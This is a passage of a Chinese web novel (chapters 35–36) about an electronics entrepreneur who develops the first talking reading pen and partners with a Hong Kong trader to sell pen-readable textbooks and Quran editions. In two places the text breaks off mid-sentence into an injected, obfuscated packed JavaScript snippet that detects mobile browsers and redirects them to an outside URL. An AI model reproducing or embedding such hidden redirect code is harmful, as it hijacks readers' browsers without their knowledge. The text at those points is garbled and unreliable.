谢鞠科也明白大事不妙,看来,所谓有网络运营商的背景及公司在北京钓鱼台办公,都是精心设计好的圈套。但他还是很冷静地说:“到了现在这个地步,只有报案,看看能不能追回资金。” 四处投诉、报案的结果,只是知道了一点真相。这个所谓的“环球网络”公司是一个几个人的皮包公司,在钓鱼台里租了两间办公室,租期为两个月。把各地企业的投标押金诈骗到手后,几个人溜之大吉。 鉴于当年像这样的案件太多,公安部门根本忙不过来,三人的投标押金就此交了智商税。 35.三十五 精心开发的“G8”多功能“早教机”出师不利,没有达到预想的效果;生产销售“网络电话机”美梦也被骗子打得粉碎。“八昊达”陷入了进退两难的危机之中。 周亚平清醒地知道,继续寻找、开发新产品是公司唯一的出路。为此,他抽出几天时间,集中走访了多家电子产品科技开发公司。 在一家以前有过合作的 “宙斯科技”公司,周亚平偶然发现一款儿童玩具。这是一个漂亮的玩偶,身上牵着一根线,线上连着一个笔头。小朋友把玩时,只要用笔头在配套的彩色卡片上指点文字或图画,便由玩偶身上的喇叭里发出相应的声音。比如,点击卡片上的小狗图像,就发出狗叫声,点击小猫图像,就发出猫叫声;点击“妈妈”、“爸爸”的文字,就分别发出“妈妈”、“爸爸”的声音。 周亚平询问该公司总经理付涛,这是采用什么技术开发的,付涛告诉他,这是他们的一家客户用台湾公司的“隐形码”识别技术开发的。见周亚平露出不解的眼神,付涛给他解释:“说通俗一点吧,这项技术的要点就是铺码,即在卡片上,除了普通印刷外,还铺印了一层编码,这种码是由极细的黑点组成,采用微缩印刷技术,肉眼不易看出,所以我们看到的彩色卡片与普通卡片没有区别,但专用的笔头可以识别这些码,因此,只要点击识别这些码,就可以发出事先录制好的相应的声音。” 对这一新产品,周亚平刚开始还只是觉得挺好玩,后仔细一想,觉得这样的高科技,用在这种儿童玩具上,实在太委屈了,应该有更重要的用途才对。用在什么地方才能更好地发挥这项技术的特长呢?灵感一闪,周亚平突然想到了一个产品用途的开发方向。越想越觉得前途广阔,越想越情不自禁地感到兴奋。 “付总,这项技术我很看好,也转让给我们吧。”周亚平抑制住自己的兴奋,慢悠悠地说。 付涛笑了笑说:“这真不行。这项技术的配套器件,是台湾‘晶浩’公司开发生产的,我们只是他们在大陆的销售代理而已。他们已经明确告诉我们,为了避免无序竞争,大陆只能卖给两家公司,现在都已确定。不可能再给第三家。” “中国这么大,增加一个企业又算什么?怎么就会‘无序竞争’?”周亚平继续争取。 “周总,我们当然愿意多一家买我们的代理产品,但这项技术和配件,我们公司实在是没有权力决定卖给谁。”付涛耐心解释。 周亚平接着问:“哪谁有这个权力呢?” 付涛毫不含糊地说:“ ‘晶浩’香港分部的贺协理,贺友彰。只有他说了才算。” 话都说到这个程度,周亚平知道,再求付涛毫无意义,因此问:“付总,我想与贺总直接谈,请你帮忙约一下。” “好吧,我帮你约,”付涛答应了,“但恕我直言,老贺这个人不太好说话,你的希望不大。” 约定的见面时间在周六晚上8点钟,地点在“宙斯科技”附近的一家咖啡馆。 周亚平早早来到约定地点,选了个座位,由于他本人对咖啡并不感兴趣,要了一杯“雪碧”,拿起一张报纸边看边等。 不久,付涛领着贺友彰走了进来。互相介绍后,周亚平叫来服务员,问:“二位需要什么,尽管点,说好了,今天我为东。” 付、贺各自点了自己口味的咖啡后,大家聊起了正题。 “贺协理,我今天专门为了‘隐形码’识别组件一事而来。我想请教贺总,为什么只卖给现在的两家企业?” 贺友彰不屑地回答:“对他们这两家企业还有疑问?那可都是国内鼎鼎有名的大企业。多有气魄,每家一口气投资几千万元来进行后续开发,其中一家,买下了‘迪士尼’的动漫‘米奇’的专利,来制作玩偶。试问,贵公司有这个实力吗?” 看到贺友彰公然地嘲讽自己,周亚平压抑住心头的气愤,笑着说:“我们公司确实是没有这个实力,但是,即使是有这个实力,我们也绝不会干这种傻事。” “傻事?”贺友彰眼睛瞪得滚圆,“别吃不到葡萄说葡萄酸。” 周亚平仍满脸堆笑:“我还真不是那种人。贺协理,我这样说是有道理的。你想,用‘迪士尼’卡通形象做儿童玩具的,全世界、全中国多了去了,你步人后尘,再花大价钱去购买版权,一点创意都没有,这不是白花钱?另外,这么一项高科技的最新成果,居然用到儿童玩具上——我不是说儿童玩具不重要,而是这种发声的儿童玩具可以用十分简单的技术来实现,没必要采用这种价格昂贵的新技术器件。说得不好听,这是大炮打麻雀,糟蹋了这项新技术。” “哦!周总这样认为?”贺友彰有点惊奇,“那你们想要把这项技术用到何处?” “对了,这就是我今天找你的重点。”周亚平卖了个关子,“你想想。对了,付总,你也想想,我们究竟想用这项技术开发什么产品?” 付涛正低头看一本杂志,听周亚平问到自己,抬起头来:“周总,别打哑谜了,有什么打算就给贺协理说吧。” 周亚平正襟危坐,说:“我想把它做成一支笔,一支可以学习英语及其它外语的发声笔。这项技术最大的特点是能够在书本上点击发声,我们就可以用这支笔在配套的英语或其他语种书本上点击发声。这必将成为学习语言的神器,过去那些复读机之类的学习英语的工具根本无法与之相比。语言学习,这是一个多么广阔的市场,而在这个市场上,这支学习笔,有无法想象的发展空间。” 听了这番话后,付涛、贺友彰都沉默不语。 也就是这个晚上,台湾“晶浩”公司决定把“隐形码”识别技术的转让增加一个公司——“八昊达科技有限公司”。 第二天,周亚平把这个消息告知其他两位股东,并提出了自己对新产品开发的初步设想,希望“锦创达”公司的技术人员协助开发。周锦达满口应承:“周总,我公司几个重要的技术人员,你都很熟,我跟他们交代过,你有什么事直接安排他们就是,我们是一家人。” 确实不假,从“早教机”生产开始,周亚平就与“锦创达”公司几位技术人员打交道,彼此都很熟悉,特别是其中一位硬件工程师李爱国,与周亚平关系特别好。李工有一个亲戚,叫邵军寅,当时在别的企业搞技术工作,他推荐给周亚平,后来邵成了“八昊达”公司的技术骨干。 拿到“隐形码”识别技术转让权后,周亚平第一时间找到李爱国,与他商议语言学习笔研发事宜。 第一次研讨会在“八昊达”公司会议室举行,公司有关人员与李爱国参加了会议。 周亚平粗略地介绍了得到这项技术转让的过程,他面色庄重地说:“这个机会可是我们好不容易才得到的,所以,语言学习笔的开发,只许成功,不许失败。” 采购部的柴晋生正在玩弄周亚平带回来的“隐形码”识别玩偶,插话说:“周总,人家这样大一个玩偶,我们要把它变成一支笔,怎么可能?” 周亚平瞄了他一眼,揶揄地说:“挂在墙上的闹钟那么大的个子,不也能变成手表吗,我们怎么就不能把这么大的玩偶变成一支笔?” 大家都笑了。 周亚平继续说“无非就是把元器件都换成小号的。我拆开看过,它这个产品,最大的物件就是电池和喇叭,因为玩偶上有的是空间,所以,用了很大的2号电池和2寸全频喇叭。我们要做成一支笔,就只能用小的锂电池——这样也好,可反复充电使用。只是如果用微型喇叭,音量和音质会差很多,但也是没有办法的。可以考虑尽量用好一点的产品来弥补,哪怕价格贵一些。李工,你看有没有问题?” 李爱国沉吟了一会,回答:“我刚拿到技术资料,还得消化一下,从理论上说应该可以做到。周总,我明天再给你明确答复吧。” “行!就这样,”周亚平转向柴晋生,“小柴,你马上联系一家设计公司,请他们明天来我公司,只要李工确认可以开发,我们立即开始产品的外观设计和结构设计。” 第二天,李爱国电话回复周亚平,仔细研究了电原理图和产品结构,确认做成笔型产品没有问题。 下午,设计公司老总带着设计工程师来到“八昊达”公司,双方就产品设计问题进行了详尽的讨论。设计公司承诺一周后送出初稿。 语言学习笔的开发有条不紊地进行,一环紧扣一环:产品外观、结构设计定型——按此设计制作模型手板——按此产品结构设计电路板——设计好的电路板送厂打样——配齐元器件,手工焊接组装电路板——在手板塑胶模型中装配电路板和配件,最后制作成产品样机。 当这支手工制作的语音笔在实验书页上点击发出声音的那一刻,全体在场的“八昊达”员工都被震撼到了。市场部王惠大声呼喊:“世界上第一支‘语音笔’诞生了!”文员陈晓丽张口结舌地惊叹:“真神了,小小一支笔会说话!” 也是这句话启发了周亚平,在后面给这一产品命名时,称为“神话笔”。这一称呼,在产品生产销售初期一直沿用,产品广告彩页的题头,就是“神话笔”三个大字。 渐渐的,周亚平感到这一称呼仍然不够达意。公司广告里有一句宣传词:“指哪响哪,即点即读的‘神话笔’,”后来,公司员工都把这支笔简称为“点读笔”。这一称呼竟成了这一产品的终生命名,走向了全国。 这第一支“点读笔”在公司的型号是HB-68,这款产品生产出来后,同样面临着销售问题。 由于“点读笔”产品必须有配套的点读书,故在开发产品的同时,“八昊达”公司已经购买了境外一家书商的一本英语教辅读物的版权,经过编辑铺码,重新印刷,制作了5000本点读书,配套HB-68“点读笔”一起销售。 这期间,已经有不少人知道了世界上第一支“点读笔”问世的消息,因此,前来“八昊达”公司打听、联系的人员络绎不绝。有些经销公司看了产品演示后,立即订购了部分产品。 当天,吴树慧也带了个客人来到了“八昊达”公司。 周亚平在市场部办公室会见了来客。 “周总,这位是香港公司的楚先生,也是我的老朋友。”吴向周亚平介绍身边的来客。 “周先生,久仰,久仰,敝人楚靖坤,很高兴认识你!”来人说得文绉绉的。 周亚平握住对方的手:“楚先生好!有幸认识你,同样非常高兴。” “听吴先生介绍,贵司开发了一支学习英语的笔,今天来拜访,就是想见识见识。”楚靖坤开门见山,说明来意。 “没问题!”周亚平拿出“点读笔”和教辅课本,一边点读,一边讲解,“楚先生你看,我的笔头点到那个单词,那个句子,那个段落,它就读出那个单词、句子和段落的声音。而且这支笔还可以设置‘复读’功能,就是反复诵读,加强记忆;‘跟读’功能,就是笔体读完后,留有时间,让你跟着朗读,锻炼朗读能力;‘跟读对比’功能,就是把你跟着课本朗读的声音录音,与课本原声同时播出,进行对比,以便找到差距,提高语音的准确度。” 看了周亚平使人眼花缭乱的演示,兴趣盎然的楚靖坤,连声称赞:“好产品,真是好产品!吴先生,我们买一套样品回去好好研究,看怎么来经销。”说着就要掏钱。 周亚平赶忙说:“不用了,楚先生,我和吴先生是多年的好朋友,相信我与你今后也会成为好朋友。送你们一套样品就是了。” 楚靖坤拿到样品,连声称谢,聊了一会,就声称要尽快回去研究“点读笔”的营销,与吴树慧一起告辞。 第二天早上,周亚平刚到公司没多久,就见到楚靖坤与吴树慧又匆匆忙忙赶了过来。 “这么早就来了,楚先生,昨天没回香港?”周亚平好奇地问。 吴树慧说:“昨天楚先生在深圳住,他在深圳有一套房。我们讨论了一个晚上。要不是看到确实太晚了,他恨不得昨晚就过来找你。” 还没坐定,楚靖坤就迫不及待地问周亚平:“周先生,除了昨天我们拿走的那本书,如果这支笔要点读其它书,可以吗?” 周亚平告诉他:“从理论上说,任何书都可以实现,但必须把它制作成点读书才行。就是上次我跟你说的,重新印刷时印上一层肉眼看不见的码,我们叫‘隐形码’。其实,我们点读的每一个发声单元,或者单词,或者句子,或者段落,都是事先设计好的,书本上,该发声单元的所有面积都印上同一个隐形码,只要你在这个范围内点读,就被软件识别,发出相应的读音。” “也就是说,教材也可以实现,比如说本市小学英语教材也可以点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493232|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读。”楚靖坤若有所思。 周亚平知道他的意图了,颇感兴趣地说:“你这个想法倒是很有意思。用到小学英语教材上或其它教材上,这应该是‘点读笔’这种语言学习工具非常好的应用范例。只是,如果要做到在教材上印上‘隐形码’,估计难度会十分大。当然,如果真做到了,那产品的销路也会很好。” 吴树慧插话说:“对了,楚先生在我家里也是这样说的。” 楚靖坤笑了:“我也是看到吴先生所住的小区里有小孩在读英语课本,才想到这条路子。你说这件事有难度,没关系,我就是这种越有难度越感兴趣的人。事在人为,去努力总是会有办法的。” 这就是楚靖坤,敢说大话,也敢干大事。 说话间,时间已经到了午饭时分,周亚平热情地挽留客人用餐,吴树慧客气了几句,楚靖坤却大方地接受:“好吧,听说周先生是湖南人,正好许久没吃湘菜了,还真有点想。” “耶,楚先生不是香港人吗,怎么能吃辣椒?”周亚平感到意外。 “跟你说吧,我还是半个湖南人,不信,我说句长沙话,你听听。‘我们呷饭克’,”楚靖坤学了一句湖南土话。 他的这句长沙普通话把周亚平逗笑了。 三人来到“八昊达”公司附近的一家湘菜馆,坐下来后,服务员递过菜谱。 周亚平把菜谱送到楚靖坤手中:“楚先生,既然你对湘菜这么熟悉,你来点菜吧。” 楚靖坤也不客气,接过菜谱,略微看过,就点了“剁椒鱼头”和“腊味双蒸”两款菜,然后表示,其余菜让周亚平确定。 周亚平加点了几个经典的湘菜,特别点了一款“外婆炒鸡”,也称“湖南辣子鸡”的菜品,他告诉吴、楚二人:“湖南人在家里请客,必上的一道菜是鸡,有‘无鸡不成席’一说,因此,我今天必须点一道鸡的菜。” 一边吃饭,一边聊天,周亚平把始终弄不明白的问题提出来:“楚先生,你怎么对湘菜这么感兴趣?要知道,香港人和广东人都是怕辣的呀。” 楚靖坤打开了话匣子:“说来话长,我曾经在湖南开过公司,在那里住过两、三年,自然学会了吃辣椒。” “嘿,想不到你还在我们老家那边办过企业。广东这么大还不够你开公司,要跑到湖南去开?这里面一定有故事,说来听听。” 楚靖坤本来就是个话痨,这下更勾起了他的话瘾,于是,一顿午饭成了他讲故事的时间。 楚靖坤其实是广东客家人,他的父亲曾经是国民党的将级军官。1949年,国民党败退台湾,他父亲是有识之士,没有跟老蒋逃往孤岛,而是辗转到了香港。在那里,他利用平日的积蓄开始创业,干起了餐饮行业,越做越大,陆续在香港增加门店,最多的时候达到了7家餐馆。 楚靖坤的亲生母亲没有与他父亲在外颠簸,被安置在父亲广东的老家,楚靖坤一直和母亲一起生活。可以想见,孤儿寡母,又摊上这样一个难堪的出身,在解放后的农村生活是多么艰难。 楚靖坤的父亲一生娶了5个老婆,因此楚靖坤同父异母的兄弟姐妹特别多,他们分散在两岸各地。 改革开放以后,政策放宽,楚靖坤终于可以申请赴港定居,投奔父亲。刚开始,他在父亲的饭馆里帮忙,做过采买,做过管家。香港的饭馆是个三教九流聚集之地,不管红的、黑的、白的,各路人马都会在这里相遇。 楚靖坤虽然文化程度不高,初中都未念完,但到了这里后,见多识广,慢慢学会了很多东西。加上他本身资质不错,悟性很好,能说会道,精明过人,从而在这里混得如鱼得水。他在这里结识了一班朋友,其中除了狐朋狗友,也不乏人中翘楚和社会精英。 有一个电子企业的大老板姓张,与楚靖坤的关系尤为融洽。张老板诚心诚意地跟他说:“阿楚,你如果一辈子干饮食业,不会有太大前途,不过是赚点小钱。不如趁内地改革开放的机会,到深圳去做工业产品的贸易,这才可能有大把钱赚。” 张老板在深圳有一家很大的独资企业,主要生产加工无绳电话机。当年,通信行业发展很快,由于无绳电话的时尚性和便捷性,受到许多人的追捧,卖得很红火。 楚靖坤听从了张先生的建议,在深圳注册了一家贸易公司,作为张老板产品的总代理,专门从事无绳电话机的销售。 张老板企业生产的产品,按规定,必须全部出口境外。但当时监管也不太严,企业又有不少妙招,楚靖坤实际上是在深圳拿货深圳销售。 楚靖坤从张老板那里拿货是按出厂批发价,很低,每台无绳电话机,加价100元再转手卖到内地去,还很抢手。 就这样,一直干了将近两年。后来由于深圳的同类产品越来越多,价格越降越低,中间商几乎没什么利润,这才罢手不干。但在不到两年的时间里,楚靖坤靠这一产品净赚三千多万元人民币。 说到这里,楚靖坤叹了口气:“人一有钱了,就忘乎所以。当时有个朋友在湖南经商,邀请我去那里办厂,我想都没想就去了。首先开了家饼干厂,生产各种糕点、饼干;后来又建了一家纸箱厂,生产各种包装纸箱。我一个做饮食出身的人,从来没搞过实业,根本没有工业企业管理的经验。再加上用人不当,管理不严,结果连年亏损,企业搞了两三年就都相继垮掉了。把我赚来的钱折腾完一半。” 吴树慧插嘴问:“就算办厂失败,亏了你一半的钱,那还有一半钱留下了,少说也有一千多万元吧,你怎么总是谦虚地说你变成穷光蛋了呢?” 楚靖坤急忙辩解:“真没骗你,当年口袋里有钱时,头脑也是发热的,各种场面花钱如流水。唱个‘卡拉OK’,陪唱的小姐,只要看着顺眼,小费一给就是上千元。请朋友吃饭那更是不惜代价,什么东西贵就点什么东西。——对了,有一次,我在‘半岛酒店’请友人吃饭,隔壁一桌一位不相识的先生,不知何故,端了酒杯走过来向我们敬酒,我一看,这家伙真给面子,因此,买单时要伙计把他们那一桌的账一起结了。大几万的钱就这样撒出去,一点都不心疼。” “你们想,这样乱来,再多的钱也经不起折腾。看到现在钱这么不好挣,想想当时,手稍微紧一点都不至于如今这样狼狈。” 谈笑声中,结束了湘菜馆的午餐。 36.三十六 “八昊达”公司开发生产的“点读笔”问世后,引起了不小的轰动,各地经销商纷至沓来,商谈合作事宜。普遍认为这一产品非常实用,具有广阔前景,但也都指出,目前能和“点读笔”配套的书籍太少,不利于市场推广。 这让周亚平更深刻地认识到事情的紧迫性,看来,多途径开发配套使用的书籍是重中之重。为此,周亚平安排了两件事,一是向各大出版社寄发广告宣传资料,谋求合作;二是和有代理产品销售意向的商家沟通,希望他们充分利用各种关系,争取和本地的教育机构合作,制作可以配套“点读笔”使用的各种教材、教辅书籍。另外,为了保护公司的创意产品,安排了申报国家“实用新型专利”的工作。 回想楚靖坤和吴树慧两周前来公司商谈的项目,他意识到如果率先在本市小学英语教材上实现点读,这将具有非凡的示范作用。 周亚平拨通了吴树慧的电话:“吴经理,两周前你和楚先生来,说要去联系本市小学英语教材印码一事,开始了没有?有没有进展?” 电话那头回答:“老楚这个人是个说干就干的人,他能不行动?从你们公司出来后,他就一直住在本市,没有回香港,每天在跑这个项目。但确实是太难了,到处碰钉子,受足了窝囊气。对了,老楚说明天到你公司,还有重要事情向你请教,我们当面再说吧。” 第二天上午,吴、楚二人风风火火地来到公司。周亚平一面给两位倒茶,一面调侃:“楚先生,听说这段时间碰得头破血流?辛苦了!” 楚靖坤大大咧咧地说:“我这人反正脸皮厚,脑袋硬,不怕碰钉子,我就不信有过不去的坎,攻不破的关。” 谈笑了一阵,楚靖坤说:“我们言归正传,这两个礼拜,我们都在跑这个项目,没办法,时间太紧,下学期本市的小学英语课本很快就要开印了,错过了这个机会,又要再等一年。因此,这两个礼拜我们只能拼命去找关系,去求爹爹拜奶奶。还好,现在总算有点眉目了。” 楚靖坤给周亚平讲述了这段时间奔忙的情况。 基于楚靖坤对内地情况的了解,他知道,要想办成一件事,一定先要疏通各种关系和渠道。为此,他动用了在深圳的关系网,甚至找了一位在体制内有一定职务的亲戚。楚靖坤是个有原则的人,他知道,任何事,不能轻易去麻烦亲戚朋友,特别是担任一定职务的亲戚朋友。但这件事他经过反复考量,觉得必须去找这位亲戚,因为只有他出面说句话,才比较有影响力。另外,他考虑,这是一件有利于教育事业,有利于小学生英语学习的好事,是值得推广的新生事物。谁来参与这件事,都是积德之举,不会有任何负面影响。 通过重重介绍,辗转找人,到处公关,四方游说,终于到了最后一关——“市教科所”。有关领导答应,只要该机构同意,就可以在本市某区先行试点。 “教科所”主任叫尤素芳,是一位办事果断干练的女强人。 楚靖坤第一次上门拜访,向门卫通报之后,对方借口手头正忙,让他们连办公室门都没进就被打发走了。 第二次总算是进了门,见了面,但尤主任只向来人点点头,既不请他们坐,也无礼节性的泡茶端水,便埋头公文,不予理睬。 吴树慧感到十分尴尬,正打算拖着楚靖坤离开,谁知楚靖坤却反而走上前去,直到尤素芳的大班桌前,嬉皮笑脸地说:“尤主任,实在对不起,刚才走得太急,口渴了,能不能讨杯茶喝?” 这一番话,说得尤素芳哭笑不得,她抬起头,看到满面堆笑的楚靖坤,轻声说:“哦,对不起,我正在处理一个重要文件,请你们先坐下来稍等片刻。”同时,提起内部电话说:“小肖,泡两杯热茶送我办公室。” 尤素芳是那种原则性强,有独立思考能力的干部,也是一个不畏权贵的人。开始,她听到上面领导为楚先生的事打招呼,逆反心理让她产生抵触情绪,误认为楚靖坤他们为达到以权谋私的目的,一定是买通了上级部门,所以,爱搭不理,故意冷落。但看到尽管这样对待他们,他们没有抱怨,忍辱负重,而且也从未搬出上级领导来压入,这说明他们不是屑小之辈,确实是干实事之人。由此,觉到自己的作法有点过分。 上茶之后,尤素芳带着歉意说:“我手上这份文件,今天就要发下去,没办法,怠慢你们了。” “没有,没有,尤主任日理万机,我们本不应该来打扰,但现在又只有您能够拍板,所以冒昧找上门来。”楚靖坤在家族酒馆里耳濡目染学会的这一套礼节辞令,现在派上了用场。 “不必客气,请楚先生详细介绍你们这个项目的内容和意义,重点说说与我们教育科学的关系。”尤素芳说。 楚靖坤使出十八般武艺,从各个方面详尽介绍“点读笔”的由来,它的功能与用法,特点与优势,同时,介绍了配套的点读书的制作方法。他还特别提到,不少英语教师,都公认这是外语学习的“神器”,这不就是教育科学的进步吗。 吴树慧也对楚先生的发言作了补充。 听了两位的讲述,尤素芳若有所思。最终,她提出一个问题:“你们说的点读书必须另行制作,要加印一层‘隐形码’,但如果这样做,势必增加印刷成本。而目前所有教材都有规定的价格,国家规定是绝对不能提价的。那怎么办?” 楚、吴二人一时语塞,他们也从来没有想过这一问题。楚靖坤急中生智:“尤主任,我们两人都是做营销的,技术方面不是很懂,但应该是可以做到不增加印刷成本的。这样吧,我们下次请公司周总过来,技术方面的问题他能说得更清楚。” 因为这个缘故,他们来“八昊达”公司搬救兵。 讲完这一切,楚靖坤对周亚平说:“周总,我其实也真弄不清印刷点读书会不会增加成本,当时只能胡诌不会增加。看来,这是一个关键问题,如果确实必须提高印制成本,这件事就彻底泡汤。” “没那么悲观,可以做到不提高印制成本。” 周亚平把几种方法详细地给楚、吴二人进行介绍,然后说:“这样吧,趁热打铁,我们今天下午再去一趟‘教科所’吧,我当面向尤主任解释这个问题。” 下午,周亚平与楚、吴二人一起来到“教科所”。 这次,尤素芳对待客人的态度截然不同,热情打过招呼后,马上命人端来热茶。 “楚先生,你们昨天走后,我又仔细研究了你们留下的宣传资料,有了更深的体会,确实对小朋友的英语学习有一定的帮助。我们可以在本市选定一个区作为试点。但我上次说了,前提是教材制作成本不能增加哪怕是一分钱。我想请周总给我说明,能不能做到这一点?怎样做到这一点?” 周亚平把从挎包里拿出几本书,放在桌子上,说:“尤主任,要说清楚这个问题,首先我要介绍这一学习工具点读发声的基本原理。‘点读笔’之所以能在这些书本上一点就发声,读出单词或者句子、段落,是由于这些书是经过制作的点读书。这些书页上的每一个发声单元上在印刷过程中都增印了一层肉眼不易看到的‘隐形码’,‘点读笔’就是依靠笔头识别这些‘隐形码’来发出相应的声音。” 周亚平演示了“点读笔”在书本上点读,继续说:“众所周知,彩色书籍都是四色印刷,即青、黄、品红及黑四种油墨,由于青色与蓝色近似,故俗称为黑红蓝黄。由于必须加印一层‘隐形码’,所以,一般来说变成了五色印刷。从逻辑上说,五色印刷应该比四色印刷要稍微增加一些成本。如果要达到尤主任说的,不增加一分钱支出,有两种方法可以做到。一是仍采取四色印刷的工艺,但在制版分色时把四色变成三色,这样,加上‘隐形码’一色,仍然是四色。但我不倾向这种方式,原因是,表面上看,这两种方法印刷物差别不大,但仔细观察,四色印刷的没有五色印刷的读物颜色鲜艳,有点灰暗。” “既然这样,还是必须五色印刷,人家印刷厂肯定要加钱呀。”尤素芳担心地说。 “有办法!”周亚平从容地说,“我们原来也遇到过,如果是四色印刷机,制作点读书,必须两次操作,要增加很多工作量;但如果是六色印刷机,一次过,四色与五色印刷一个样,基本不增加成本。我想,帮我们印制课本的工厂应该不是小厂,一定会有这种大型印刷设备。” 尤素芳是个办事极严谨的人,她还是不放心,问:“万一他们没有六色印刷机怎么办?” 众人面面相觑,一时无法回答。 周亚平不甘示弱,说:“尤主任,您放心,万一出现这种情况,我们也可以说服厂家配合试点,不增加费用。毕竟贵局的课本印刷是一笔大买卖,他们会要考虑利害关系。” 事情终于这样定下来了。 一个区的小学英语教材成了可以使用“点读笔”的教材,这可是开天辟地第一次。 楚靖坤和吴树慧为此专门成立了一家公司,召集一班人马,紧锣密鼓地进行“点读笔”的推销。经与周亚平协商,公司在经销活动中,打的是“八昊达”公司本市营销中心的旗号。 小学开学后,楚靖坤施展他的公关能力,到点读课本的试点区各个小学游说、宣传,效果还真不错。有的学校,在上英语课时,会邀请“营销中心”派人去专门介绍和演示“点读笔”。还有的学校,允许“营销中心”安排人员在放学时在校门口摆摊销售。甚至有一个学校,在召开一次大型的家长会议时,也让“营销中心”的老师去“讲课”。 派谁去呢,楚靖坤和吴树慧都有自知之明,文化程度不高,不可能上台演讲,最后只得派营销经理刘青霄去讲课。谁知小刘也是初次上台,一时紧张,结结巴巴也没讲出什么名堂。下来后,被老楚恶狠狠地骂了一顿:“你这个猪头,这么好的机会被你糟蹋了。” 不管怎么样,销售形式一派大好,眼见得大把的钞票进到公司来,楚靖坤心里乐开了花。有了钱,老毛病又患了,在“营销中心”,成天陪客户吃吃喝喝,“卡拉OK”,按摩休闲,样样不少。 也是老天爷关照,尽管公司开销惊人,但生意还是不断找上门来。一位马来西亚的客户找到“营销中心”,提出了一个新的需求,要购买能够配套“古兰经”使用的“点读笔”。 课题回到了“八昊达”公司总部,周亚平看到这一片新的应用领域,自然十分高兴。他对楚靖坤和吴树慧说:“我们怎么就没想到这么好的一个用途呢?想想,□□教的信徒都要诵经,那么厚一本经书怎么背熟,怎么做到标准诵读?用‘点读笔’学习诵经确实是一个好点子。我看,今后国内也可以推广‘点读笔’诵读学习佛教经典,照搬这套办法。” 但因为牵涉到□□教经典,大家都分外谨慎。 楚、吴与周亚平商议,首先要客户确定在该国常用的经书版本,其次是确定最佳的诵经版本。待此两项确定后,才开始点读版“古兰经”的制作,以及下载到笔里的诵经声音的制作。 开发的样品由客户带回马来西亚后,传来好消息,反映非常好,第一批订货是2万套。 “营销中心”非常重视这个订单,派人成天督促公司总部尽快出货,而且派人到印刷厂监印,每次大张开始印制前,都全部要点读检查一遍,避免错漏。 产品发给客户后,楚靖坤专门安排刘青霄去马国,参加客户举办的“古兰经”点读版发行仪式。马国第二语言是英语,小刘的英语还马马虎虎,正好派上用途。马方客户的发行仪式极为隆重,马国的首相竟然也被邀请为会议主宾,并在仪式上致辞。由于供货的中方代表是刘青霄,他也沾了光,被请上台,与首相等贵客合影留念。 至今,这一合影,被挂在“八昊达”公司会客厅里,作为宣传的物证。 初次外销出口就打了个大胜仗,使得楚靖坤欣喜若狂。继而仔细琢磨,觉得“点读笔”这么好的一个产品,必将有非常好的“钱”途,如果光做产品代理,替他人做嫁衣裳,未免有点委屈。于是,他与吴树慧商议,无论如何,要想法成为“八昊达”公司的股东。 为此,他们二人专门约请周亚平到一家名叫“小肥羊”的火锅店吃饭。 刚开始时,楚靖坤嫌火锅店档次太低,要去高档酒家,但被吴树慧劝阻,因他了解周亚平的为人,不喜高调,但对这家“小肥羊”情有独钟。 周亚平来到店里时,楚靖坤已经点好汤底和各种配料,见客人来到,赶忙把菜单递过去,客气地问:“周先生,我看你还没到,先自行点了菜,你看行不行?如不行,重新点过,没有问题。” 周亚平接过菜单,随手放在桌上,说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498754|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这人从不挑食,什么都可以,你点的就行了。” 吴树慧不喝酒,但知道楚、周二人都嗜好喝酒,因此叫了几瓶啤酒。 楚靖坤端起酒杯:“这第一杯酒要敬周先生,开发出这么好的产品,让我们跟着受益。”随即把一大杯啤酒一饮而尽。 “楚先生,不着急,慢慢来。”周亚平也端起啤酒杯,喝了一大口。 这期间,吴树慧把“古兰经”的销售情况给周亚平作了介绍。 楚靖坤忍不住插话:“不得了呀,周先生。这个客户说今后还有大把订单,担心我们的生产能力,我告诉他们,完全没有问题。这还只是一个□□国家,要知道,世界上有多少这样的□□国家?下一步,我们的目标是印尼,估计需求量会更大。周先生,你就等着收钱吧。” 酒过三巡,楚靖坤装作不在意的样子,向周亚平提出一个问题:“周先生,你们公司有几个股东,如不介意,能不能把股东的详细情况介绍一下。” 周亚平不知道他葫芦里卖的什么药,但还是坦然地把股东公司名称和负责人名字简单地作了介绍。 谁知,楚靖坤听到介绍后,非常惊讶,眼睛立即发光,追问:“什么?周锦达是你们的董事长?‘锦创达’公司是你们股东?” “对呀!”周亚平对楚靖坤的惊讶感到奇怪,“莫非楚先生也认识周董事长?” “岂止认识,我们是多年的患难之交。别看他现在公司规模这样大,这么红火,当年起步的时候,完全是我的香港公司在照顾他的生意。他的公司有段时间非常困难,如果不是我资助他资金,早就垮掉了。”楚靖坤洋洋得意地表白。 “哦,想不到你们还有这一层缘分!”周亚平感叹说。 “好办了,好办了,真是踏破铁鞋无觅处,得来全不费工夫。”楚靖坤还在自言自语地狂喜。 “魔怔了!”周亚平心中暗想。 “小肥羊”聚餐的第二天上午,楚靖坤就与吴树慧找到“锦创达科技有限公司”去了。 周锦达见到楚靖坤,大吃一惊:“楚总,你怎么来了,也不事先打个招呼。” “怎么,发大财了,不欢迎老朋友来?”楚靖坤笑着说。 “你说良心话,我请过你多少次?你都不肯来,还在这里说昧心话。”周锦达同样笑着回答。 客人坐下后,周锦达安排人端来茶水,问:“今天怎么得闲来看看小弟?” 